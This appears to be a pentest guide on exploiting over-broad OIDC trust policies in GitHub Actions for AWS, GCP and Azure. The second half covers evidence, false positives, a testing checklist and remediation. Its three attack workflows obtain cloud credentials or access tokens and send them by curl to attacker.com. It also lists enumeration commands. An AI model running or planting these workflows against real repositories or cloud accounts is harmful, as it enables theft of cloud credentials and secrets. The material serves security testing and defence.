OIDC & Cloud CI/CD Attacks
Modern CI/CD uses OIDC tokens to authenticate to cloud providers without storing long-lived credentials. Misconfigured trust policies are a goldmine for attackers.
High-Value Target
How CI/CD OIDC Works
OIDC Federation Trust Flow
Scroll sideways to see the whole diagram
GitHub Actions OIDC Token
GitHub generates a JWT with claims about the workflow. Cloud providers validate these claims:
# Decoded GitHub Actions OIDC Token (JWT payload):
{
"iss": "https://token.actions.githubusercontent.com",
"sub": "repo:org/repo-name:ref:refs/heads/main",
"aud": "https://github.com/org",
"ref": "refs/heads/main",
"sha": "abc123...",
"repository": "org/repo-name",
"repository_owner": "org",
"actor": "username",
"workflow": "deploy.yml",
"event_name": "push",
"ref_type": "branch",
"job_workflow_ref": "org/repo-name/.github/workflows/deploy.yml@refs/heads/main",
"runner_environment": "github-hosted"
}
# KEY INSIGHT: If cloud trust policy only checks "repository"
# and not "ref" or "environment", ANY branch can get creds!AWS OIDC Exploitation
Weak Trust Policy
// VULNERABLE - Only checks repository, not branch!
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": "repo:company/app:*" // WILDCARD!
}
}
}]
}
// ATTACK: Create any workflow in ANY branch, get AWS creds
// Even pull_request from fork might work if conditions are looseExploiting AWS OIDC
# .github/workflows/steal-aws.yml
name: Steal AWS
on: [push, pull_request] # Runs on any push/PR
permissions:
id-token: write # Required for OIDC
contents: read
jobs:
pwn:
runs-on: ubuntu-latest
steps:
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789:role/GitHubActions
aws-region: us-east-1
- name: Exfiltrate
run: |
# You now have AWS creds!
aws sts get-caller-identity
aws s3 ls
aws secretsmanager list-secrets
# Exfil the credentials
curl -X POST -d "aws_key=$AWS_ACCESS_KEY_ID" https://attacker.com/
curl -X POST -d "aws_secret=$AWS_SECRET_ACCESS_KEY" https://attacker.com/
curl -X POST -d "aws_token=$AWS_SESSION_TOKEN" https://attacker.com/GCP Workload Identity
# GCP uses Workload Identity Federation
# Vulnerable pool might allow any repo workflow
# .github/workflows/steal-gcp.yml
name: GCP Exploit
on: push
permissions:
id-token: write
contents: read
jobs:
pwn:
runs-on: ubuntu-latest
steps:
- uses: google-github-actions/auth@v2
with:
workload_identity_provider: 'projects/123/locations/global/workloadIdentityPools/github/providers/my-repo'
service_account: 'github-actions@project.iam.gserviceaccount.com'
- name: Exfil GCP
run: |
gcloud auth list
gcloud projects list
gcloud secrets list
gcloud compute instances list
# Get access token
gcloud auth print-access-token | curl -X POST -d @- https://attacker.com/Azure OIDC Federation
# Azure uses Federated Identity Credentials
# Weak config might trust entire org or repo without branch restrictions
# .github/workflows/steal-azure.yml
name: Azure Exploit
on: push
permissions:
id-token: write
contents: read
jobs:
pwn:
runs-on: ubuntu-latest
steps:
- uses: azure/login@v1
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Exfil Azure
run: |
az account show
az keyvault list
az keyvault secret list --vault-name target-vault
az storage account list
# Get access token
az account get-access-token --query accessToken -o tsv | \
curl -X POST -d @- https://attacker.com/Enumeration
# Search for OIDC usage in workflows
grep -r "id-token: write" .github/workflows/
grep -r "role-to-assume" .github/workflows/
grep -r "workload_identity_provider" .github/workflows/
grep -r "azure/login" .github/workflows/
# Check AWS IAM for OIDC providers (requires AWS access)
aws iam list-open-id-connect-providers
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <arn>
# Check trust policies on roles
aws iam get-role --role-name GitHubActionsRole --query 'Role.AssumeRolePolicyDocument'
# Look for wildcards in conditions - VULNERABLE!
# "sub": "repo:org/*"
# "sub": "repo:org/repo:*"
# GCP - Check workload identity pools
gcloud iam workload-identity-pools list --location=global
gcloud iam workload-identity-pools providers list --workload-identity-pool=<pool> --location=globalAttack Scenarios
Fork + PR Attack
If OIDC trust doesn't exclude forks, attacker forks repo, creates workflow, opens PR → gets cloud creds
Branch Bypass
Trust policy only checks repo, not branch. Attacker pushes to feature branch → assumes prod role
Workflow Injection
Attacker injects into existing workflow via PR title/body command injection → OIDC creds stolen
Org-Wide Trust
Trust policy uses org wildcard. Compromise ANY repo in org → access to shared cloud role
Tools
Common Misconfiguration
sub claim to specific repos/branches, any GitHub Actions workflow from any public repo can assume your role.
OIDC Federation Attack Labs
Practice OIDC trust exploitation across cloud providers.
📋 Framework Alignment
OWASP CI/CD: CICD-SEC-5 (Insufficient PBAC), CICD-SEC-6 (Insufficient Credential Hygiene) | MITRE ATT&CK: T1078.004 (Cloud Accounts), T1550.001 (Application Access Token) | CIS Controls: 6.3 (Require MFA for Admin Access), 16.7 (Developer Training)
Evidence to Capture
With OIDC there is no stolen key to hand over. The finding is a trust policy that accepted a token it should have refused, so the policy and the claim set that satisfied it are the evidence.
Trust policy verbatim:
The full role trust document including every condition key (sub, aud, ref, environment) plus the role ARN and the OIDC provider ARN it trusts.
Decoded claim set: The claims from a token the workflow actually received, not a sample from the vendor documentation, so the report shows which values the policy matched.
Requesting workflow:
The workflow file path and commit that requested the token, with the id-token: write grant and the branch or environment it ran from.
Cloud-side assumption event: The audit entry for the credential exchange, with timestamp, source IP, user agent and requested session duration. This is what ties the token to a specific run.
Effective permissions: Policies attached to the role, any permission boundary, session tags and the session duration, because the same trust policy means very different things on a read-only role.
Whether that caller should reach the role: The deployment topology: which repositories, branches and environments are supposed to assume this role. Scope is a statement about intent, and only the client can confirm it.
Likely False Positives
Every OIDC finding looks like "any workflow can assume the role" until you read the whole condition block and the role on the other side of it.
-
Wildcard inside the org boundary:
A
subofrepo:org/*on a read-only role is a deliberate org-wide grant, not a misconfiguration, provided every repository in that org is equally trusted. - Permission boundary caps the role: A boundary or service control policy that denies the actions you attempted means the assumption succeeded and the impact did not. Report the assumption, not the notional access.
- Read-only or short session: A fifteen-minute session with a read-only managed policy is a much smaller finding than the trust policy alone suggests. State both.
- No long-lived credential exists: OIDC removes static keys. Wording that implies a stolen key is wrong here and will be challenged; describe it as an over-broad federation grant.
- Audience is pinned: A custom audience value means only workflows configured with that audience can assume the role, which removes most of the accidental exposure.
- Environment claim required and protected: If the policy requires a protected environment claim, the attacker needs approval rights in the repository, which is a different starting position.
Testing Checklist
Trust policy
- ☐ Condition block read in full, including every key and operator
- ☐ Subject claim matched against repository AND ref or environment
- ☐ Audience value recorded rather than assumed to be the default
- ☐ Role permissions, boundary and session duration captured together
- ☐ Provider thumbprint and issuer URL confirmed as the real one
- ☐ Every other role trusting the same provider enumerated
Token and claims
- ☐ A token obtained from a job you control and decoded locally
- ☐ Claims that vary by branch, tag and environment recorded
- ☐ Whether a fork or arbitrary branch can obtain the same token
- ☐ Token TTL and reuse window noted
- ☐ Workflows granting id-token: write enumerated across the org
- ☐ Reusable workflows checked for inherited token permissions
Post-assumption
- ☐ Cloud audit events for the exchange retrieved by actor and time
- ☐ Calls made with the temporary credential listed, not just the assumption
- ☐ Source IP range compared against the runner egress range
- ☐ Data accessed classified (metadata, read, write, delete)
- ☐ Session revocation and residual trust noted
- ☐ Cloud-side detection rule that would have caught this identified
Remediation
Trust scoping
- • Match on the most specific subject you can write: repository and branch or environment, never a wildcard across the organisation.
- • Require an environment claim and pair it with a protected environment, so the token cannot be minted from a branch anyone can push to.
- • Pin the audience to a value you control rather than accepting the default, which narrows who can present a token at all.
- • Give each pipeline its own role with the permissions it needs, and keep one broad role out of reach of every workflow in the org.
Workflow and monitoring
- • Grant
id-token: writeonly on the job that exchanges the token, not at workflow level where every step inherits it. - • Keep session duration short and attach a permission boundary, so a mistaken assumption has a ceiling.
- • Alert on exchange events from unexpected repositories, branches or source ranges, and test the alert with a deliberate run.
- • Review trust policies whenever a repository is archived or transferred, because an old wildcard outlives the team that wrote it.
CWE References: CWE-287, CWE-863, CWE-522